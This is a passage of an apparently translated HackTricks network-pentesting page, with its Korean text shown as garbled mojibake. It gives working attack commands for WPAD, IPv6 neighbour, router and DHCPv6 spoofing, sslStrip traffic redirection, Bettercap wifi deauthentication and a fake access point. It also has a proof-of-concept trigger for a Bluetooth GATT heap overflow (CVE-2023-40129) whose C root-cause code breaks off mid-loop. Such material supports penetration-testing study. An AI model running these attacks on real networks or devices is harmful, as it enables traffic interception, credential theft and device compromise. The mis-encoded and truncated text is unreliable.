Responder๋ฅผ ์ฌ์ฉํ์ฌ ํธ์คํธ๊ฐ ์ฐพ๋ ์๋น์ค๋ฅผ ๊ฐ์ฅํด ๊ฐ์ง ์๋ต์ ๋ณด๋ผ ์ ์์ต๋๋ค.\
์์ธํ ๋ด์ฉ์ [how to Impersonate services with Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)์์ ํ์ธํ์ธ์.
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
๋ธ๋ผ์ฐ์ ๋ ์ผ๋ฐ์ ์ผ๋ก **Web Proxy Auto-Discovery (WPAD) protocol to automatically acquire proxy settings**๋ฅผ ์ฌ์ฉํด ํ๋ก์ ์ค์ ์ ์๋์ผ๋ก ํ๋ํฉ๋๋ค. ์ด๋ ์๋ฅผ ๋ค์ด "http://wpad.example.org/wpad.dat"์ ๊ฐ์ URL์ ํตํด ์๋ฒ์์ ๊ตฌ์ฑ ์ธ๋ถ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๋ ๊ฒ์ ํฌํจํฉ๋๋ค. ํด๋ผ์ด์ธํธ๊ฐ ์ด ์๋ฒ๋ฅผ ๋ฐ๊ฒฌํ๋ ๋ฐฉ๋ฒ์ ์ฌ๋ฌ ๋ฉ์ปค๋์ฆ์ ํตํด ์ด๋ฃจ์ด์ง ์ ์์ต๋๋ค:
- **DHCP**๋ฅผ ํตํด, ํน์ ์ฝ๋ 252 ํญ๋ชฉ์ ์ฌ์ฉํ์ฌ ๋ฐ๊ฒฌ์ด ์ฉ์ดํด์ง๋๋ค.
- **DNS**๋ฅผ ํตํด, ๋ก์ปฌ ๋๋ฉ์ธ ๋ด์์ _wpad_๋ผ๋ ํธ์คํธ๋ช
์ ๊ฒ์ํฉ๋๋ค.
- **Microsoft LLMNR ๋ฐ NBT-NS**๋ฅผ ํตํด, DNS ์กฐํ๊ฐ ์คํจํ ๊ฒฝ์ฐ์ ํด๋ฐฑ ๋ฉ์ปค๋์ฆ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
๋๊ตฌ Responder๋ ์ด ํ๋กํ ์ฝ์ ์
์ฉํด **malicious WPAD server**๋ก ๋์ํฉ๋๋ค. DHCP, DNS, LLMNR ๋ฐ NBT-NS๋ฅผ ์ฌ์ฉํด ํด๋ผ์ด์ธํธ๋ฅผ ์์ฌ ์์ ์๊ฒ ์ฐ๊ฒฐํ๊ฒ ๋ง๋ญ๋๋ค. Responder๋ก ์๋น์ค๋ฅผ ๊ฐ์ฅํ๋ ๋ฐฉ๋ฒ์ ๋ํด ๋ ๊น์ด ์๊ณ ์ถ๋ค๋ฉด [check this](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)์ ์ฐธ์กฐํ์ธ์.
### [Spoofing SSDP and UPnP devices](spoofing-ssdp-and-upnp-devices.md)
๋คํธ์ํฌ์์ ๋ค์ํ ์๋น์ค๋ฅผ ์ ๊ณตํด ์ฌ์ฉ์๋ฅผ ์์ฌ **ํ๋ฌธ ์๊ฒฉ์ฆ๋ช
(plain-text credentials)**์ ์
๋ ฅํ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค. ์ด ๊ณต๊ฒฉ์ ๋ํ ์์ธํ ์ ๋ณด๋ [**Spoofing SSDP and UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)์์ ํ์ธํ์ธ์.
### IPv6 Neighbor Spoofing
์ด ๊ณต๊ฒฉ์ ARP Spoofing๊ณผ ๋งค์ฐ ์ ์ฌํ์ง๋ง IPv6 ํ๊ฒฝ์์ ๋ฐ์ํฉ๋๋ค. ํผํด์๋ก ํ์ฌ๊ธ GW์ IPv6 ์ฃผ์๊ฐ ๊ณต๊ฒฉ์์ MAC์ ๊ฐ์ง๊ณ ์๋ค๊ณ ๋ฏฟ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค.
```bash
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 Router Advertisement Spoofing/Flooding
์ผ๋ถ OS๋ ๋คํธ์ํฌ์์ ์ ์ก๋๋ RA ํจํท์ ํตํด ๊ฒ์ดํธ์จ์ด๋ฅผ ๊ธฐ๋ณธ์ ์ผ๋ก ๊ตฌ์ฑํฉ๋๋ค. ๊ณต๊ฒฉ์๋ฅผ IPv6 router๋ก ์ ์ธํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP spoofing
๊ธฐ๋ณธ์ ์ผ๋ก ์ผ๋ถ OS๋ ๋คํธ์ํฌ์์ DHCPv6 ํจํท์ ์ฝ์ด DNS๋ฅผ ๊ตฌ์ฑํ๋ ค๊ณ ์๋ํฉ๋๋ค. ๋ฐ๋ผ์ ๊ณต๊ฒฉ์๋ ์์ ์ DNS๋ก ์ค์ ํ๋๋ก DHCPv6 ํจํท์ ๋ณด๋ผ ์ ์์ต๋๋ค. DHCP๋ ๋ํ ํผํด์์๊ฒ IPv6 ์ฃผ์๋ฅผ ์ ๊ณตํฉ๋๋ค.
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (๊ฐ์ง ํ์ด์ง ๋ฐ JS ์ฝ๋ ์ธ์ ์ )
์ธํฐ๋ท ๊ณต๊ฒฉ
sslStrip
๊ธฐ๋ณธ์ ์ผ๋ก ์ด ๊ณต๊ฒฉ์ user๊ฐ HTTPS ๋ฒ์ ์ผ๋ก redirecting๋๋ HTTP ํ์ด์ง์ accessํ๋ ค๊ณ ํ ๋ ๋ฐ์ํฉ๋๋ค. sslStrip์ HTTP connection with the client and a HTTPS connection with the server๋ฅผ maintainํจ์ผ๋ก์จ ์ฐ๊ฒฐ์ plain text๋ก sniffํ ์ ์๊ฒ ํฉ๋๋ค.
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
์์ธํ ์ ๋ณด๋ ์ฌ๊ธฐ.
sslStrip+ and dns2proxy๋ฅผ ์ฌ์ฉํ HSTS ์ฐํ
sslStrip+ and dns2proxy์ sslStrip์ ์ฐจ์ด์ ์ ์๋ฅผ ๋ค์ด _www.facebook.com_์ _wwww.facebook.com_์ผ๋ก(์ถ๊ฐ๋ โwโ์ ์ฃผ๋ชฉ) ๋ฆฌ๋ค์ด๋ ํธํ๊ณ ํด๋น ๋๋ฉ์ธ์ ์ฃผ์๋ฅผ ๊ณต๊ฒฉ์ IP๋ก ์ค์ ํ๋ค๋ ์ ์ ๋๋ค. ์ด๋ ๊ฒ ํ๋ฉด ํด๋ผ์ด์ธํธ๋ wwww.facebook.com(๊ณต๊ฒฉ์)์ ์ฐ๊ฒฐํ์ง๋ง ๋ด๋ถ์ ์ผ๋ก **sslstrip+**๋ www.facebook.com๊ณผ์ ์ค์ https ์ฐ๊ฒฐ์ ์ ์งํฉ๋๋ค.
์ด ๊ธฐ์ ์ ๋ชฉํ๋ HSTS๋ฅผ ํํผํ๋ ๊ฒ์
๋๋ค. _wwww.facebook.com_์ ๋ธ๋ผ์ฐ์ ์ ์บ์์ ์ ์ฅ๋์ง ์๊ธฐ ๋๋ฌธ์ ๋ธ๋ผ์ฐ์ ๋ facebook ์ธ์ฆ์ HTTP๋ก ์ํํ๋๋ก ์๊ฒ ๋ฉ๋๋ค.\
์ด ๊ณต๊ฒฉ์ ์ํํ๋ ค๋ฉด ํผํด์๊ฐ ์ฒ์์ http://www.faceook.com์ผ๋ก ์ ์์ ์๋ํด์ผ ํ๋ฉฐ https๊ฐ ์๋์ด์ผ ํฉ๋๋ค. ์ด๋ http ํ์ด์ง ๋ด๋ถ์ ๋งํฌ๋ฅผ ์์ ํ์ฌ ์ํํ ์ ์์ต๋๋ค.
์์ธํ ๋ด์ฉ์ ์ฌ๊ธฐ, ์ฌ๊ธฐ ๋ฐ ์ฌ๊ธฐ์ ์ฐธ์กฐํ์ธ์.
sslStrip or sslStrip+๋ ๋ ์ด์ ์๋ํ์ง ์์ต๋๋ค. ์ด๋ ๋ธ๋ผ์ฐ์ ์ ์ฌ์ ์ ์ฅ๋ HSTS ๊ท์น๋ค์ด ์๊ธฐ ๋๋ฌธ์ด๋ฉฐ, ๋ฐ๋ผ์ ์ฌ์ฉ์๊ฐ โ์ค์ํโ ๋๋ฉ์ธ์ ์ฒ์ ์ ๊ทผํ๋๋ผ๋ HTTPS๋ก ์ ๊ทผํ๊ฒ ๋ฉ๋๋ค. ๋ํ ์ฌ์ ์ ์ฅ๋ ๊ท์น๊ณผ ์์ฑ๋ ๋ค๋ฅธ ๊ท์น๋ค์ includeSubdomains ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ ์ ์์ผ๋ฏ๋ก ์ด์ ์ wwww.facebook.com ์์๋ ๋ ์ด์ ์๋ํ์ง ์์ต๋๋ค. _facebook.com_์ includeSubdomains์ ํจ๊ป HSTS๋ฅผ ์ฌ์ฉํฉ๋๋ค.
TODO: easy-creds, evilgrade, metasploit, factory
TCP ํฌํธ์์ ๋ฆฌ์ค๋
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL ํฌํธ์์ ์์ (listen)
ํค ๋ฐ self-signed certificate ์์ฑ
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
์ธ์ฆ์๋ฅผ ์ฌ์ฉํ์ฌ ๋ฆฌ์ค๋
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
์ธ์ฆ์๋ฅผ ์ฌ์ฉํด ์์ ๋๊ธฐํ๊ณ ํธ์คํธ๋ก ๋ฆฌ๋ค์ด๋ ํธ
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
๊ฐ๋, ํด๋ผ์ด์ธํธ๊ฐ CA๊ฐ ์ ํจํ์ง ํ์ธํ๋ฉด, CA๋ก ์๋ช
๋ ๋ค๋ฅธ hostname์ certificate๋ฅผ ์ ๊ณตํ ์ ์์ต๋๋ค.
๋ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ํ
์คํธ๋ ์์ฒญ๋ hostname์ certificate๋ฅผ self-signed๋ก ์ ๊ณตํ๋ ๊ฒ์
๋๋ค.
๋ค๋ฅธ ํ ์คํธ๋ก๋ ์ ํจํ์ง๋ง CA๊ฐ ์๋ certificate๋ก ํด๋น certificate์ ์๋ช ํ๋ ค๊ณ ์๋ํ๋ ๊ฒ์ ๋๋ค. ๋๋ ์ ํจํ public key๋ฅผ ์ฌ์ฉํด diffie hellman ๊ฐ์(์ค์ private key๋ก ์๋ฌด๊ฒ๋ ๋ณตํธํํ ํ์๊ฐ ์๋) ์๊ณ ๋ฆฌ์ฆ์ ๊ฐ์ ์ ์ฉํ ๋ค, ํด๋ผ์ด์ธํธ๊ฐ ์ค์ private key์ probe(์: hash)๋ฅผ ์์ฒญํ ๋ ๊ฐ์ง probe๋ฅผ ๋ณด๋ด๊ณ ํด๋ผ์ด์ธํธ๊ฐ ์ด๋ฅผ ๊ฒ์ฌํ์ง ์๋์ง ํ์ธํ๋ ๋ฐฉ๋ฒ์ด ์์ต๋๋ค.
Bettercap
์ผ๋ฐ์ ์ธ Bettercap ๋ช ๋ น
```bash # Events events.stream off #Stop showing events events.show #Show all events events.show 5 #Show latests 5 events events.clearTicker (loop of commands)
set ticker.period 5; set ticker.commands โwifi.deauth DE:AD:BE:EF:DE:ADโ; ticker on
Caplets
caplets.show caplets.update
Wifi
wifi.recon on wifi.deauth BSSID wifi.show
Fake wifi
set wifi.ap.ssid Banana set wifi.ap.bssid DE:AD:BE:EF:DE:AD set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap
</details>
### ํ์ฑ ํ์ง ๋
ธํธ
UDP ํจํท์ ์์ฒญ๋ ํฌํธ๋ฅผ ๊ฐ๊ณ ์์ง ์์ ์ฅ์น๋ก ๋ณด๋ผ ๊ฒฝ์ฐ ICMP (Port Unreachable)๊ฐ ์ ์ก๋๋ค๋ ์ ์ ๊ณ ๋ คํ๋ผ.
### **ARP discover**
ARP ํจํท์ ๋คํธ์ํฌ ๋ด์์ ์ด๋ค IP๋ค์ด ์ฌ์ฉ ์ค์ธ์ง ๋ฐ๊ฒฌํ๋ ๋ฐ ์ฌ์ฉ๋๋ค. PC๋ ๊ฐ๋ฅํ ๊ฐ IP ์ฃผ์์ ๋ํด ์์ฒญ์ ๋ณด๋ด์ผ ํ๋ฉฐ ์ฌ์ฉ ์ค์ธ ์ฃผ์๋ง ์๋ตํ๋ค.
### **mDNS (multicast DNS)**
Bettercap์ MDNS ์์ฒญ์ (๊ฐ X ms๋ง๋ค) ๋ณด๋ด **\_services\_.dns-sd.\_udp.local** ๋ฅผ ์ง์ํ๋ค. ์ด ํจํท์ ๋ฐ์ ๋จธ์ ์ ๋ณดํต ์ด ์์ฒญ์ ์๋ตํ๋ค. ๊ทธ๋ฐ ๋ค์ 'services'์ ์๋ตํ๋ ๋จธ์ ๋ง ๊ฒ์ํ๋ค.
**๋๊ตฌ**
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
### **NBNS (NetBios Name Server)**
Bettercap์ 137/UDP ํฌํธ๋ก ๋ธ๋ก๋์บ์คํธ ํจํท์ ๋ณด๋ด "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA"๋ผ๋ ์ด๋ฆ์ ์์ฒญํ๋ค.
### **SSDP (Simple Service Discovery Protocol)**
Bettercap์ ๋ชจ๋ ์ข
๋ฅ์ ์๋น์ค๋ฅผ ์ฐพ๊ธฐ ์ํด SSDP ํจํท์ ๋ธ๋ก๋์บ์คํธํ๋ค (UDP Port 1900).
### **WSD (Web Service Discovery)**
Bettercap์ ์๋น์ค๋ฅผ ์ฐพ๊ธฐ ์ํด WSD ํจํท์ ๋ธ๋ก๋์บ์คํธํ๋ค (UDP Port 3702).
## Bluetooth (L2CAP/ATT/GATT) ๊ณต๊ฒฉ
- Android Fluoride๋ L2CAP PSMs๋ฅผ ํตํด ์๋น์ค๋ฅผ ๋
ธ์ถํ๋ค (e.g., SDP 0x0001, RFCOMM 0x0003, BNEP 0x000F, AVCTP 0x0017/0x001B, AVDTP 0x0019, ATT/GATT 0x001F). ์๋น์ค๋ ๋ค์์ ํตํด ๋ฑ๋ก๋๋ค:
```c
uint16_t L2CA_Register2(uint16_t psm, const tL2CAP_APPL_INFO& p_cb_info,
bool enable_snoop, tL2CAP_ERTM_INFO* p_ertm_info,
uint16_t my_mtu, uint16_t required_remote_mtu,
uint16_t sec_level);
- BlueBlue framework๋ Scapy-based L2CAP/ATT crafting์ ๊ฐ๋ฅํ๊ฒ ํฉ๋๋ค (built on BlueBorne l2cap_infra). ์:
acl = ACLConnection(src_bdaddr, dst_bdaddr, auth_mode='justworks')
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=672)
gatt.send_frag(p8(GATT_READ)+p16(1234))
print(gatt.recv())
- CVE-2023-40129 (Fluoride GATT): Read Multiple Variable response builder์์์ integer underflow๋ก ์ธํด, MTU๊ฐ variable-length element๋ฅผ truncatesํ๊ณ +2 length field๊ฐ ๊ณ ๋ ค๋์ง ์์ ๊ฒฝ์ฐ ์ฝ ~64KB์ heap overflow๊ฐ ๋ฐ์ํ ์ ์์ต๋๋ค.
๊ทผ๋ณธ ์์ธ (GATT Read Multiple Variable)
```c static void build_read_multi_rsp(tGATT_SR_CMD* p_cmd, uint16_t mtu) { uint16_t ii, total_len, len; uint8_t* p; bool is_overflow=false; len = sizeof(BT_HDR) + L2CAP_MIN_OFFSET + mtu; BT_HDR* p_buf = (BT_HDR*)osi_calloc(len); p_buf->offset=L2CAP_MIN_OFFSET; p = (uint8_t*)(p_buf + 1) + p_buf->offset; *p++ = GATT_RSP_READ_MULTI_VAR; p_buf->len=1; for (ii=0; ii- ์ธ์ฆ ์์ด ์๋ํ๋ ์ต์ ํธ๋ฆฌ๊ฑฐ (์์ MTU๊ฐ 4๋ฒ์งธ attribute์์ underflow๋ฅผ ์ ๋ฐ):
# GATT_REQ_READ_MULTI_VAR (0x20), MTU=55
acl = ACLConnection(interface, bdaddr)
gatt = acl.l2cap_connect(psm=PSM_ATT, mtu=55)
pkt = b'\x20' # opcode
pkt += p16(9); pkt += p16(9); pkt += p16(9); pkt += p16(9)
gatt.send(pkt)
# On 4th insert: p_buf->len=55 (1 + 3*(16+2)), total_len=73 -> len=16-(73-55)=-2 -> ~64KB overwrite
ํต์ / ๋ชจ๋ฐ์ผ ์ฝ์ด (GTP) Exploitation
์ฐธ๊ณ ์๋ฃ
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3rd edition)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Paint it blue: Attacking the bluetooth stack (Synacktiv)
- BlueBorne L2CAP testing infra (l2cap_infra)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


